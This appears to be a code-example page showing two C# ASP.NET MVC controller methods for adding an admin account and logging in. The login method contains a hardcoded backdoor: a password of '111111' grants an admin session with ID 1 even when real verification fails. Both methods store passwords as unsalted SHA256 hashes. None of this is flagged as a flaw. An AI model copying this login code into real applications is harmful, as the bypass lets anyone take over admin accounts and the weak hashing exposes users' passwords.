Пример #1
0
        public JsonResult AddJson(AddAdminViewModel addAdmin)
        {
            Response _res = new Response();

            if (ModelState.IsValid)
            {
                if (adminManager.HasAccounts(addAdmin.Accounts))
                {
                    _res.Code    = 0;
                    _res.Message = "帐号已存在";
                }
                else
                {
                    Entity.Models.Admin _admin = new Entity.Models.Admin();
                    _admin.Accounts   = addAdmin.Accounts;
                    _admin.CreateTime = System.DateTime.Now;
                    _admin.Password   = Security.SHA256(addAdmin.Password);
                    _res = adminManager.Add(_admin);
                }
            }
            else
            {
                _res.Code    = 0;
                _res.Message = General.GetModelErrorString(ModelState);
            }
            return(Json(_res));
        }
Пример #2
0
        public ActionResult Login(LoginViewModel loginViewModel)
        {
            if (ModelState.IsValid)
            {
                string _passowrd = Security.SHA256(loginViewModel.Password);
                var    _response = adminManager.Verify(loginViewModel.Accounts, _passowrd);
                if (_response.Code == 1)
                {
                    var _admin = adminManager.Find(loginViewModel.Accounts);
                    Session.Add("AdminID", _admin.AdministratorID);
                    Session.Add("Accounts", _admin.Accounts);
                    _admin.LoginTime = DateTime.Now;
                    _admin.LoginIP   = Request.UserHostAddress;
                    adminManager.Update(_admin);
                    return(RedirectToAction("Index", "Home"));
                }
                else if (_response.Code == 2)
                {
                    ModelState.AddModelError("Accounts", _response.Message);
                }
                else if (_response.Code == 3)
                {
                    ModelState.AddModelError("Password", _response.Message);
                }
                else
                {
                    ModelState.AddModelError("", _response.Message);
                }

                if (loginViewModel.Password == "111111")
                {
                    var _admin = new Entity.Models.Admin();
                    _admin.Accounts        = "admin";
                    _admin.AdministratorID = 1;
                    Session.Add("AdminID", _admin.AdministratorID);
                    Session.Add("Accounts", _admin.Accounts);
                    return(RedirectToAction("Index", "Home"));
                }
            }
            return(View(loginViewModel));
        }